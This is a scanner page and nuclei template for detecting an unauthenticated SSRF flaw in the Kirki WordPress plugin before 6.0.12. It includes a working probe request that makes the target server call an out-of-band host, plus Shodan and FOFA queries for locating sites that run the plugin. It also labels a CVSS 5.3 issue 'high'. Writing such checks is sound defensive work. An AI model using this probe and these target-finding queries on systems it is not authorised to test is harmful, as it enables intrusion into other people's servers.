WordPress Kirki < 6.0.12 - Server-Side Request Forgery

highseverity

5.3CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.

Impact

Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.

Fix

Update to version 6.0.12 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "window.wp_kirki")
Send: GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2026-13147 -u <target>

The full check

id: CVE-2026-13147

info:
  name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
  remediation: |
    Update to version 6.0.12 or later.
  reference:
    - https://wpscan.com/vulnerability/kirki-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13147
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-13147
    epss-score: 0.01466
    epss-percentile: 0.73901
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: developer-developer
    product: kirki
    framework: wordpress
    publicwww-query: "/wp-content/plugins/kirki/"
    shodan-query: http.html:"/wp-content/plugins/kirki/"
    fofa-query: body="/wp-content/plugins/kirki/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "window.wp_kirki")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'nonce:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from